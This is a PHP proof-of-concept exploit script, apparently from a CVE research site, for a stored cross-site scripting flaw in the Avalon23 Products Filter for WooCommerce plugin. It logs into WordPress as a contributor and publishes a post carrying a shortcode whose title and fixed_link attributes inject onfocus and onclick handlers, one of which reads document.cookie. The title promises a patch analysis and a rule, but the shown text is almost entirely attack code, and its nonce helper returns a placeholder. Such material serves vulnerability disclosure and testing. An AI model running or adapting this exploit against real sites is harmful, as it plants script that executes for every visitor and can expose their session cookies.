CVE-2026-8865: Avalon23 Products Filter for WooCommerce <= 1.1.6 Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes PoC, Patch Analysis & Rule

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8865 - Avalon23 Products Filter for WooCommerce <= 1.1.6 - Authenticated (Contributor+) Stored XSS via Shortcode Attributes

// Configuration: Set these variables before running
$target_url = 'http://target-wordpress-site.com';  // Base URL of the WordPress site
$username = 'contributor_user';                     // Contributor-level user
$password = 'password_here';                       // User's password

// Payload: Break out of single-quoted HTML attribute and inject JS
$malicious_title = "' onfocus='alert(1)' autofocus='";
$malicious_fixed_link = "' onclick='alert(document.cookie)' //";

// Step 1: Authenticate to WordPress
echo "[*] Authenticating as $username...n";

// Login via wp-login.php
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => 1
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies_cve8865.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    die("[ERROR] Login failed. HTTP code $http_coden");
}
echo "[+] Login successful.n";

// Step 2: Get a fresh nonce for creating a post
// We need the AJAX endpoint to get the nonce, but easier: access the post-new.php page and extract nonce from edit page.
// For simplicity, we assume we have an existing post ID or we create a new post via REST API.
// Note: This PoC uses the WordPress REST API to create a post as the authenticated user.

$rest_url = $target_url . '/wp-json/wp/v2/posts';

// Generate the shortcode with payload
$shortcode = '[avalon23_qr title="' . $malicious_title . '" fixed_link="' . $malicious_fixed_link . '" ][/avalon23_qr]';

$post_data = [
    'title' => 'Test Post - CVE-2026-8865',
    'content' => $shortcode,
    'status' => 'publish'
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $rest_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($post_data),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . get_nonce_via_rest($target_url, '/tmp/cookies_cve8865.txt')
    ],
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies_cve8865.txt',
    CURLOPT_COOKIEJAR => '/tmp/cookies_cve8865.txt',
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 201) {
    $post = json_decode($response, true);
    echo "[+] Post created successfully. View it at: " . $post['link'] . "n";
    echo "[+] The stored XSS payload is: $shortcoden";
    echo "[+] Payload will execute when any user visits the post page.n";
} else {
    echo "[ERROR] Failed to create post. HTTP $http_coden";
    echo "Response: $responsen";
}

// Helper function - not included in main flow for brevity, but defined here
function get_nonce_via_rest($base_url, $cookie_file) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $base_url . '/wp-json/wp/v2/posts',
        CURLOPT_HTTPHEADER => ['X-WP-Nonce: placeholder'],
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_HEADER => true,
        CURLOPT_NOBODY => true,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    // Extract X-WP-Nonce from response headers (if available) - this is a simplified method
    // In real scenario, you would parse the admin page for _wpnonce
    return 'PLACEHOLDER_NONCE'; // Replace with actual nonce extraction logic
}

?>